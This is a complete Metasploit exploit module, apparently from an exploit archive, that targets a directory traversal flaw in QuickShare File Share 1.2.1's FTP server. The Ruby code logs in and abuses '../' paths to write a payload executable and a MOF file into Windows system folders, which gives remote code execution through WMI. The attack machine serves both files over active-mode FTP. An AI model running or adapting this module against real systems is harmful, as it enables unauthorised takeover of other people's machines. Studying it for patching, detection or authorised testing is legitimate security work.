QuickShare File Share 1.2.1 Directory Traversal

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "QuickShare File Share 1.2.1 Directory Traversal Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in QuickShare File Share's FTP  
service. By supplying "../" in the file path, it is possible to trigger a  
directory traversal flaw, allowing the attacker to read a file outside the  
virtual directory. By default, the "Writable" option is enabled during account  
creation, therefore this makes it possible to create a file at an arbitrary  
location, which leads to remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'modpr0be', #Discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '70776'],  
['EDB', '16105'],  
['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],  
['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['QuickShare File Share 1.2.1', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 03 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
# Change the default description so this option makes sense  
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])  
], self.class)  
end  
  
  
def check  
connect  
disconnect  
  
if banner =~ /quickshare ftpd/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
def on_client_connect(cli)  
peer = "#{cli.peerhost}:#{cli.peerport}"  
  
case @stage  
when :exe  
print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")  
cli.put(@exe)  
@stage = :mof  
  
when :mof  
print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")  
cli.put(@mof)  
end  
  
cli.close  
end  
  
  
def upload(filename)  
select(nil, nil, nil, 1)  
  
peer = "#{rhost}:#{rport}"  
print_status("#{peer} - Trying to upload #{::File.basename(filename)}")  
  
# We can't use connect_login, because it cannot determine a successful login correctly.  
# For example: The server actually returns a 503 (Bad Sequence of Commands) when the  
# user has already authenticated.  
conn = connect(false, datastore['VERBOSE'])  
  
res = send_user(datastore['FTPUSER'], conn)  
  
if res !~ /^(331|2)/  
vprint_error("#{peer} - The server rejected our username: #{res.to_s}")  
return false  
end  
  
res = send_pass(datastore['FTPPASS'], conn)  
if res !~ /^(2|503)/  
vprint_error("#{peer} - The server rejected our password: #{res.to_s}")  
return false  
end  
  
# Switch to binary mode  
print_status("#{peer} - Set binary mode")  
send_cmd(['TYPE', 'I'], true, conn)  
  
# Prepare active mode: Get attacker's IP and source port  
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']  
src_port = datastore['SRVPORT'].to_i  
  
# Prepare active mode: Convert the IP and port for active mode  
src_ip = src_ip.gsub(/\./, ',')  
src_port = "#{src_port/256},#{src_port.remainder(256)}"  
  
# Set to active mode  
print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")  
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)  
  
# Tell the FTP server to download our file  
send_cmd(['STOR', filename], false, conn)  
  
disconnect(conn)  
end  
  
  
def exploit  
trigger = '../../../../../../../../'  
exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"  
mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.vbs"  
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))  
@exe = generate_payload_exe  
@stage = :exe  
  
begin  
t = framework.threads.spawn("reqs", false) {  
# Upload our malicious executable  
u = upload(exe_name)  
  
# Upload the mof file  
upload(mof_name) if u  
}  
super  
ensure  
t.kill  
end  
end  
  
end  
`